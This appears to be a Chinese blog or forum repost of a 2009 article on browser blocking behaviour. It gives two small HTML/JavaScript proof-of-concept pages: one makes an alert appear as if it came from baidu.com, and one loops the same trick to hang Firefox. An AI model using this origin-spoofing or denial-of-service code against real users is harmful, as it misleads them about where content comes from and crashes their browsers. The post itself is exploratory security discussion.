何等猎奇的老文章(2009-09-07 16:45),经典,值得学习。。。
代码一:spoof.html
<p>
<a href="javascript:spoof()">test!</a>
<p>
<script>
function spoof()
{
location = "http://www.baidu.com";
location = "javascript:alert('xss baidu')";
}
</script>
用火狐浏览器打开spoof.html。可以看到alert()函数并没有阻塞,此时百度页面也会同时打印在浏览器中。这种阻塞处理方式,是否会让用户误解,"xss baidu"这个字符串是从百度的域中弹出来的呢?用IE打开这段代码,alert()函数会先阻塞住,等你点击确定后百度页面才会显示出来。(IE中,在你没点击alert的确定之前,百度数据已经传输到本地,只是没有再浏览器中打印出来)
通过测试一,可以看到火狐浏览器,会把spoof.html中的所有数据都处理完后,再一起把内容打印在浏览器上。那么在这种无阻塞的打印显示中,是否会对浏览器造成DOS呢,接下来看一下代码二。
代码二:dos.html
<p>
<a href="javascript:dos()">test!</a>
<p>
<script>
function dos()
{
for (i=1;i<999999;i++)
{
location = "http://www.baidu.com";
location = "javascript:alert('xss baidu')";
}
}
</script>
用火狐浏览器打开dos.html,火狐浏览器会被DOS。因为火狐浏览器,会先把这999999次循环都处理完后,再把所有内容打印在浏览器中。这就是火狐浏览器没有阻塞的结果,也造成了DOS。IE浏览器中,alert()函数则会进行阻塞处理,在你点击alert的确定后,才会去处理下一个过程。
对于浏览器的阻塞问题,思路就简单的放在这里吧。欢迎各个门派来拍砖讨论。
神马叫阻塞??就是我们俗话说的“同步”还是“异步”执行。